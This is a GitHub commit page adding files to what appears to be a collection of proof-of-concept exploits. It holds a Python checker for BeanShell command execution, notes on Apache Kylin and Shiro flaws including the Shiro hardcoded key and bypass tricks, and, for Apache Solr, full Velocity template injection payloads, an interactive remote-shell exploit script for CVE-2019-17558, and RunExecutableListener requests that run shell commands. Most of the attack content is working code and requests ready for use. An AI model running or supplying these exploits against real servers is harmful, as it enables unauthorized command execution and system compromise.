forked from DawnFlame/POChouse
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
wintrysec
committed
May 5, 2021
1 parent
006b497
commit a5f885c
Showing
22 changed files
with
781 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
#conding=utf-8 | ||
import requests #用于http请求响应 | ||
from requests.packages import urllib3 | ||
import sys | ||
|
||
''' | ||
使用方法: | ||
python POC.py URL | ||
''' | ||
|
||
https://mp.weixin.qq.com/s/9xLQ1YAWVtHBv9qVk-Xc1A | ||
复现文章 | ||
|
||
#消除安全请求的提示信息,增加重试连接次数 | ||
urllib3.disable_warnings() | ||
requests.adapters.DEFAULT_RETRIES = 1 | ||
s = requests.session() | ||
|
||
#HTTP请求-head头 | ||
headers = { | ||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', | ||
'Content-Type': 'application/x-www-form-urlencoded', | ||
} | ||
|
||
def POC(url): | ||
target = url + '/../' | ||
payload = 'bsh.script=exec(%22whoami%22)&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw' | ||
try: | ||
resp = s.get(target,verify=False,headers=headers,timeout=8)#忽略了SSL验证 | ||
if (resp.status_code ==200 and ("访问禁止" not in resp.text)): | ||
resp = s.post(url=target, verify=False, data=payload, headers=headers, timeout=8) | ||
resp.encoding = resp.apparent_encoding #指定编码,防止乱码 | ||
#apparent_encoding会从网页的内容中分析网页编码的方式 | ||
|
||
rs_len = len(resp.text) | ||
if rs_len < 50: | ||
success = "|目标存在漏洞| "+url+" "+resp.text | ||
print(success.strip()) | ||
resp.close() #关闭响应包 | ||
else: | ||
resp.close() #关闭响应包 | ||
print("|无漏洞| "+url) | ||
else: | ||
print("|无漏洞| "+url) | ||
|
||
except Exception as ex_poc: | ||
msg = url+"=====报错了====="+str(ex_poc) | ||
print(msg) | ||
|
||
|
||
def H2U(): | ||
'''输入格式处理,将HOST统一为URL格式''' | ||
try: | ||
host = sys.argv[1] | ||
if(host[0:4]=="http"): | ||
url=host | ||
else: | ||
url="http://"+host | ||
POC(url) | ||
except Exception as ex: | ||
print(str(ex)) | ||
|
||
|
||
if __name__ == "__main__": | ||
H2U() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
## 应用简介 | ||
|
||
|
||
|
||
## 相关漏洞 | ||
|
||
### [Apache Kylin Console 控制台弱口令](https://poc.wgpsec.org/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Kylin/Apache%20Kylin%20Console%20%E6%8E%A7%E5%88%B6%E5%8F%B0%E5%BC%B1%E5%8F%A3%E4%BB%A4.html) | ||
|
||
### [Apache Kylin的未授权配置泄露 CVE-2020-13937](https://poc.wgpsec.org/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Kylin/Apache%20Kylin%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html) | ||
|
||
### [Apache Kylin 命令注入漏洞 CVE-2020-1956](https://poc.wgpsec.org/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Kylin/Apache%20Kylin%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2020-1956.html) | ||
|
||
### [Apache Kylin 命令注入漏洞 CVE-2020-13925](https://poc.wgpsec.org/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Kylin/Apache%20Kylin%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2020-13925.html) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
## 应用简介 | ||
|
||
Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能 | ||
|
||
## [CVE-2016-4437]-Shiro 550反序列化 | ||
|
||
**漏洞概述** | ||
|
||
```http | ||
#影响版本 | ||
Shiro <= 1.2.4 | ||
``` | ||
|
||
在 Shiro 1.2.4 及之前的版本,Shiro 秘钥是硬编码的一个值 `kPH+bIxk5D2deZiIxcaaaA==`,这便是 Shiro-550 的漏洞成因。但这个漏洞不只存在于 1.2.4 版本,后续版本的读取流程没有什么改动,这就意味着只要秘钥泄露,依然存在高危风险。 | ||
|
||
Shiro Top 100 Key 是基于一些 Github 示例代码收集的 | ||
|
||
**漏洞利用** | ||
|
||
```bash | ||
use multi/http/shiro_rememberme_v124_deserialize | ||
``` | ||
|
||
## Shiro 721 Padding Oracle漏洞 | ||
|
||
```http | ||
#影响版本 | ||
Shiro < 1.4.2 | ||
``` | ||
|
||
Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC的加密模式,这使得该字段可以被padding oracle 攻击利用。 | ||
|
||
攻击者可以使用一个合法有效的rememberMe 的cookie作为前缀来实施POA,然后制造一个特制的rememberMe来执行Java反序列化攻击,比如Shrio 550那样的 | ||
|
||
**实施步骤:** | ||
|
||
1. 登录网站,任意用户,来获取一个合法的remmemberMe cookie。 | ||
2. 使用rememberMe cookie作为前缀来实施POA。 | ||
3. 加密Java反序列化的payload来制作特制的rememberMe | ||
4. 带着新的rememberMe向网站发起请求 | ||
|
||
这个漏洞相较于550而言,它不需要知道key的值,但是它需要一个合法用户的rememberMe cookie,这大概是它比较鸡肋的地方了 | ||
|
||
**对于550和721飞鸿大佬写了一键化利用工具** | ||
|
||
https://github.com/feihong-cs/ShiroExploit-Deprecated | ||
|
||
## Shiro-682 权限绕过漏洞 | ||
|
||
```http | ||
#影响版本 | ||
Shiro 1.3.2 | ||
Shiro < 1.5.0 | ||
``` | ||
|
||
**利用** | ||
|
||
```bash | ||
use "uri = uri + '/' " to bypassed shiro protect | ||
即URL结尾添加反斜杠绕过权限验证 | ||
``` | ||
|
||
## [CVE-2020-13933]-Shiro 权限绕过漏洞 | ||
|
||
**Shiro < 1.6.0** | ||
|
||
POC | ||
|
||
```http | ||
xxx.com/res/;name | ||
当请求的资源存在时即可绕过权限验证查看资源 | ||
``` | ||
|
||
## Shiro漏洞分析 | ||
|
||
**Shiro RememberMe 漏洞检测的探索之路** | ||
|
||
https://paper.seebug.org/1285/ |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## 应用简介 | ||
|
||
Apache Solr 是一个开源的搜索服务器。 | ||
Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 | ||
|
||
## 相关资产 | ||
|
||
```http | ||
FOFA: | ||
app="APACHE-Solr" | ||
title="Solr Admin" | ||
body="<span>Solr Query Syntax</span>" | ||
icon_hash="http://223.94.66.173:8983/favicon.ico" | ||
``` | ||
|
53 changes: 53 additions & 0 deletions
53
Apache-Solr/Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
|
||
|
||
## 漏洞概述 | ||
|
||
攻击者通过未授权访问solr服务器,可以注入自定义模板,通过Velocity模板语言执行任意命令 | ||
|
||
发送特定的数据包开启 `params.resource.loader.enabled`,然后get访问接口执行命令 | ||
|
||
## 影响范围 | ||
|
||
```http | ||
5.0.0 ~ 8.3.1版本 | ||
``` | ||
|
||
## 漏洞利用 | ||
|
||
1、默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板 | ||
|
||
我们先通过如下API获取所有的核心: | ||
|
||
```http | ||
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json | ||
``` | ||
|
||
2、通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称 | ||
|
||
```http | ||
POST /solr/demo/config HTTP/1.1 | ||
Host: solr:8983 | ||
Content-Type: application/json | ||
Content-Length: 259 | ||
{ | ||
"update-queryresponsewriter": { | ||
"startup": "lazy", | ||
"name": "velocity", | ||
"class": "solr.VelocityResponseWriter", | ||
"template.base.dir": "", | ||
"solr.resource.loader.enabled": "true", | ||
"params.resource.loader.enabled": "true" | ||
} | ||
} | ||
``` | ||
|
||
3、之后,注入Velocity模板即可执行任意命令 | ||
|
||
```http | ||
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end | ||
``` | ||
|
||
## 漏洞分析 | ||
|
||
https://xz.aliyun.com/t/6700#toc-4 |
66 changes: 66 additions & 0 deletions
66
Apache-Solr/Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)/cve-2019-17558_cmd.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
#!/usr/bin/python3 | ||
#-*- coding:utf-8 -*- | ||
# author:zhzyker | ||
# from:https://github.com/zhzyker/exphub | ||
# telegram:t.me/zhzyker | ||
|
||
import requests | ||
import sys | ||
import json | ||
|
||
if len(sys.argv)!=2: | ||
print('+------------------------------------------------------------+') | ||
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +') | ||
print('+ Apache Solr Velocity Commons Remote Code Execution +') | ||
print('+------------------------------------------------------------+') | ||
print('+ USE: python3 cve-2019-17558_cmd.py <url> +') | ||
print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983 +') | ||
print('+ VER: Apache Solr 5.0.0 - 8.3.1 +') | ||
print('+------------------------------------------------------------+') | ||
sys.exit(0) | ||
|
||
url = sys.argv[1] | ||
|
||
core_url = url + "/solr/admin/cores?indexInfo=false&wt=json" | ||
try: | ||
r = requests.request("GET", url=core_url, timeout=10) | ||
core_name = list(json.loads(r.text)["status"])[0] | ||
print ("[+] GET API: "+url+"/solr/"+core_name+"/config") | ||
except: | ||
print ("[-] Target Not Vuln Good Luck") | ||
sys.exit(0) | ||
|
||
|
||
|
||
api_url = url + "/solr/" +core_name+ "/config" | ||
headers = {"Content-Type": "application/json"} | ||
set_api_data =""" | ||
{ | ||
"update-queryresponsewriter": { | ||
"startup": "lazy", | ||
"name": "velocity", | ||
"class": "solr.VelocityResponseWriter", | ||
"template.base.dir": "", | ||
"solr.resource.loader.enabled": "true", | ||
"params.resource.loader.enabled": "true" | ||
} | ||
} | ||
""" | ||
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers) | ||
code = str(api.status_code) | ||
if api.status_code == 200: | ||
print ("[+] <HTTP" +code+ "> SET API Success") | ||
else: | ||
print ("[-] <HTTP" +code+ "> SET API Failed Good Luck") | ||
sys.exit(0) | ||
|
||
|
||
def do_exp(cmd): | ||
vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" | ||
r = requests.request("GET", vuln_url) | ||
print (r.text) | ||
|
||
while 1: | ||
cmd = input("Shell >>> ") | ||
if cmd == "exit" : exit(0) | ||
do_exp(cmd) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
## 漏洞概述 | ||
|
||
## 影响范围 | ||
|
||
```http | ||
Solr < 7.1.0 | ||
``` | ||
|
||
## 漏洞利用 | ||
|
||
1、访问`http://ip:8983/`Apache solr的管理页面,无需登录(默认未开启鉴权认证) | ||
|
||
2、首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数 | ||
|
||
```http | ||
POST /solr/demo/config HTTP/1.1 | ||
Host: your-ip | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Length: 158 | ||
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}} | ||
``` | ||
|
||
3、然后进行update操作,触发刚才添加的listener | ||
|
||
```http | ||
POST /solr/demo/update HTTP/1.1 | ||
Host: your-ip | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Type: application/json | ||
Content-Length: 15 | ||
[{"id":"test"}] | ||
``` | ||
|
||
第二种:直接触发RCE | ||
|
||
```http | ||
POST /solr/newcollection/config HTTP/1.1 | ||
Host: localhost:8983 | ||
Connection: close | ||
Content-Type: application/json | ||
Content-Length: 198 | ||
{ | ||
"add-listener" : { | ||
"event":"newSearcher", | ||
"name":"newlistener-1", | ||
"class":"solr.RunExecutableListener", | ||
"exe":"curl", | ||
"dir":"/usr/bin/", | ||
"args":["http://127.0.0.1:8080"] | ||
} | ||
} | ||
``` |
Oops, something went wrong.